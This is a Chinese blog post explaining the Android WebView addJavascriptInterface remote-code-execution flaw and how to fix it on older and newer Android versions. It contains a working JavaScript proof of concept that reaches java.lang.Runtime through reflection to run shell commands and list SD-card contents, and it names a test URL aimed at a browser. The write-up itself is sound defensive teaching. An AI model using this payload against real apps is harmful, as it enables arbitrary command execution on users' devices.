Android WebView的Js对象注入漏洞解决方案

  1. return  window[obj].getClass().forName(“java.lang.Runtime”)

  2. .getMethod(”getRuntime”,null).invoke(null,null).exec(cmdArgs);

  3. }

  4. }

  5. }


function execute(cmdArgs)

{

    for (var obj in window) {

        if ("getClass" in window[obj]) {

            alert(obj);

            return  window[obj].getClass().forName("java.lang.Runtime")

                 .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

        }

    }

} 

3,漏洞证明


**举例一:**为了证明这个漏洞,写了一个demo来说明。我就只是加载一个包含恶意JS代码的本地网页,HTML其代码如下:

[html] view plain copy

print ?

  1. <html>

  2. <head>

  3. <meta http-equiv=“Content-Type” content=“text/html; charset=UTF-8”>

  4. <script>

  5. var i=0;

  6. function getContents(inputStream)

  7. {

  8. var contents = “”+i;

  9. var b = inputStream.read();

  10. var i = 1;

  11. while(b != -1) {

  12. var bString = String.fromCharCode(b);

  13. contents += bString;

  14. contents += ”\n”

  15. b = inputStream.read();

  16. }

  17. i=i+1;

  18. return contents;

  19. }

  20. function execute(cmdArgs)

  21. {

  22. for (var obj in window) {

  23. console.log(obj);

  24. if (“getClass” in window[obj]) {

  25. alert(obj);

  26. return window[obj].getClass().forName(“java.lang.Runtime”).

  27. getMethod(“getRuntime”,null).invoke(null,null).exec(cmdArgs);

  28. }

  29. }

  30. }

  31. var p = execute([“ls”,”/mnt/sdcard/”]);

  32. document.write(getContents(p.getInputStream()));

  33. </script>

  34. <script language=“javascript”>

  35. function onButtonClick()

  36. {

  37. // Call the method of injected object from Android source.

  38. var text = jsInterface.onButtonClick(“从JS中传递过来的文本!!!”);

  39. alert(text);

  40. }

  41. function onImageClick()

  42. {

  43. //Call the method of injected object from Android source.

  44. var src = document.getElementById(“image”).src;

  45. var width = document.getElementById(“image”).width;

  46. var height = document.getElementById(“image”).height;

  47. // Call the method of injected object from Android source.

  48. jsInterface.onImageClick(src, width, height);

  49. }

  50. </script>

  51. </head>

  52. <body>

  53. <p>点击图片把URL传到Java代码</p>

  54. <img class=“curved_box” id=“image”

  55. οnclick=“onImageClick()”

  56. width=“328”

  57. height=“185”

  58. src=“http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg”

  59. οnerrοr=“this.src=’background_chl.jpg’”/>

  60. </p>

  61. <button type=“button” οnclick=“onButtonClick()”>与Java代码交互</button>

  62. </body>

  63. </html>


<html>

  <head>

    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <script>

      var i=0;

      function getContents(inputStream)

      {

        var contents = ""+i;

        var b = inputStream.read();

        var i = 1;

        while(b != -1) {

            var bString = String.fromCharCode(b);

            contents += bString;

            contents += "\n"

            b = inputStream.read();

        }

        i=i+1;

        return contents;

       }



       function execute(cmdArgs)

       {

        for (var obj in window) {

            console.log(obj);

            if ("getClass" in window[obj]) {

                alert(obj);

                return window[obj].getClass().forName("java.lang.Runtime").

                    getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

             }

         }

       } 



      var p = execute(["ls","/mnt/sdcard/"]);

      document.write(getContents(p.getInputStream()));

    </script>



    <script language="javascript">

      function onButtonClick() 

      {

        // Call the method of injected object from Android source.

        var text = jsInterface.onButtonClick("从JS中传递过来的文本!!!");

        alert(text);

      }



      function onImageClick() 

      {

        //Call the method of injected object from Android source.

        var src = document.getElementById("image").src;

        var width = document.getElementById("image").width;

        var height = document.getElementById("image").height;



        // Call the method of injected object from Android source.

        jsInterface.onImageClick(src, width, height);

      }

    </script>

  </head>



  <body>

      <p>点击图片把URL传到Java代码</p>

      <img class="curved_box" id="image" 

         οnclick="onImageClick()"

         width="328"

         height="185"

         src="http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg"

         οnerrοr="this.src='background_chl.jpg'"/>

    </p>

    <button type="button" οnclick="onButtonClick()">与Java代码交互</button>

  </body>

</html>

这段HTML的运行效果如下:

图一:期望运行结果图

上图中,点击 按钮后,JS中传递 一段文本到Java代码,显示一下个toast,点击 图片后,把图片的URL,width,height传到Java层,也用toast显示出来。

要实现这样的功能,就需要注Java对象。

简单说明一下

1,请看 **execute()**这个方法,它遍历所有window的对象,然后找到包含getClass方法的对象,利用这个对象的类,找到java.lang.Runtime对象,然后调用“getRuntime”静态方法方法得到Runtime的实例,再调用exec()方法来执行某段命令。

2,getContents()方法,从流中读取内容,显示在界面上。

3,关键的代码就是以下两句

[javascript] view plain copy

print ?

  1. return window[obj].getClass().forName(“java.lang.Runtime”).

  2. getMethod(”getRuntime”,null).invoke(null,null).exec(cmdArgs);


return window[obj].getClass().forName("java.lang.Runtime").

                    getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);

Java代码实现如下:

[java] view plain copy

print ?

  1. mWebView = (WebView) findViewById(R.id.webview);

  2. mWebView.getSettings().setJavaScriptEnabled(true);

  3. mWebView.addJavascriptInterface(new JSInterface(), “jsInterface”);

  4. mWebView.loadUrl(”file:///android_asset/html/test.html”);


mWebView = (WebView) findViewById(R.id.webview);

mWebView.getSettings().setJavaScriptEnabled(true);

mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");

mWebView.loadUrl("file:///android_asset/html/test.html");



需要添加的权限:

[html] view plain copy

print ?

  1. <uses-permission android:name=“android.permission.INTERNET”/>

  2. <uses-permission android:name=“android.permission.ACCESS_NETWORK_STATE” />

  3. <uses-permission android:name=“android.permission.WRITE_EXTERNAL_STORAGE” />


<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />

<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />

当点击LOAD菜单后,运行截图如下:(理论上应该出现图一界面)

图二:实际运行结果,列出了SDCard中的文件

**举例二:**360浏览器也存在这个问题,我测试的系统是android 4.0.2,360浏览器版本是:4.8.7

在浏览器输入框中输入:http://bitkiller.duapp.com/jsobj.html,然后前往,它会出现如下的界面

图三:360浏览器运行结果

说明:其中searchBoxJavaBridge_不是360注入的对象,而是WebView内部注入的,这是在3.0以后的Android系统上添加的。

在关闭这个对话框之后,它会列出当前SDCard上面的所有文件列表,如下图所示

图四:错误结果

4,解决方案


1,Android 4.2以上的系统

在Android 4.2以上的,google作了修正,通过在Java的远程方法上面声明一个@JavascriptInterface,如下面代码:

[java] view plain copy

print ?

  1. class JsObject {

  2. @JavascriptInterface

  3. public String toString() { return “injectedObject”; }

  4. }

  5. webView.addJavascriptInterface(new JsObject(), “injectedObject”);

  6. webView.loadData(”“, “text/html”, null);

  7. webView.loadUrl(”javascript:alert(injectedObject.toString())”);


class JsObject {

   @JavascriptInterface

   public String toString() { return "injectedObject"; }

}

webView.addJavascriptInterface(new JsObject(), "injectedObject");

webView.loadData("", "text/html", null);

webView.loadUrl("javascript:alert(injectedObject.toString())");

2,Android 4.2以下的系统

这个问题比较难解决,但也不是不能解决。

首先,我们肯定不能再调用addJavascriptInterface方法了。关于这个问题,最核心的就是要知道JS事件这一个动作,JS与Java进行交互我们知道,有以下几种,比prompt, alert等,这样的动作都会对应到 **WebChromeClient**类中相应的方法,对于prompt,它对应的方法是 **onJsPrompt**方法,这个方法的声明如下:

[java] view plain copy

print ?

  1. public boolean onJsPrompt(WebView view, String url, String message,

  2. String defaultValue, JsPromptResult result)


public boolean onJsPrompt(WebView view, String url, String message, 

    String defaultValue, JsPromptResult result)

通过这个方法,JS能把信息(文本)传递到Java,而Java也能把信息(文本)传递到JS中,通知这个思路我们能不能找到解决方案呢?

经过一番尝试与分析,找到一种比较可行的方案,请看下面几个小点:

【1】让JS调用一个Javascript方法,这个方法中是调用prompt方法,通过prompt把JS中的信息传递过来,这些信息应该是我们组合成的一段有意义的文本,可能包含: 特定标识,方法名称,参数等。在 **onJsPrompt**方法中,我们去解析传递过来的文本,得到方法名,参数等,再通过反射机制,调用指定的方法,从而调用到Java对象的方法。

【2】关于返回值,可以通过prompt返回回去,这样就可以把Java中方法的处理结果返回到Js中。

【3】我们需要动态生成一段声明Javascript方法的JS脚本,通过loadUrl来加载它,从而注册到html页面中,具体的代码如下:

[javascript] view plain copy

print ?

  1. javascript:(function JsAddJavascriptInterface_(){

  2. if (typeof(window.jsInterface)!=‘undefined’) {

  3. console.log(’window.jsInterface_js_interface_name is exist!!’);}

  4. else {

  5. window.jsInterface = {

  6. onButtonClick:function(arg0) {

  7. return prompt(‘MyApp:’+JSON.stringify({obj:‘jsInterface’,func:‘onButtonClick’,args:[arg0]}));

  8. },

  9. onImageClick:function(arg0,arg1,arg2) {

  10. prompt(’MyApp:’+JSON.stringify({obj:‘jsInterface’,func:‘onImageClick’,args:[arg0,arg1,arg2]}));

  11. },

  12. };

  13. }

  14. }

  15. )()


javascript:(function JsAddJavascriptInterface_(){

    if (typeof(window.jsInterface)!='undefined') {    

        console.log('window.jsInterface_js_interface_name is exist!!');} 

    else {

        window.jsInterface = {        

            onButtonClick:function(arg0) { 

                return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]}));

            },



            onImageClick:function(arg0,arg1,arg2) { 

                prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]}));

            },

        };

    }

}

)()

说明:

1,上面代码中的 **jsInterface**就是要注册的对象名,它注册了两个方法, onButtonClick(arg0)和onImageClick(arg0, arg1, arg2),如果有返回值,就添加上return。

2,prompt中是我们约定的字符串,它包含特定的标识符 MyApp:,后面包含了一串JSON字符串,它包含了 **方法名,参数,对象名**等。

3,当JS调用onButtonClick或onImageClick时,就会回调到Java层中的 **onJsPrompt**方法,我们再解析出方法名,参数,对象名,再反射调用方法。

4,window.jsInterface这表示在window上声明了一个Js对象,声明方法的形式是: 方法名:function(参数1,参数2)

5,一些思考


以下是在实现这个解决方案过程中遇到的一些问题和思考:

【1】生成Js方法后,加载这段Js的时机是什么?

刚开始时在当WebView正常加载URL后去加载Js,但发现会存在问题,如果当WebView跳转到下一个页面时,之前加载的Js就可能无效了,所以需要再次加载。这个问题经过尝试,需要在以下几个方法中加载Js,它们是WebChromeClient和WebViewClient的方法:

  • onLoadResource

  • doUpdateVisitedHistory

  • onPageStarted

  • onPageFinished

  • onReceivedTitle

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值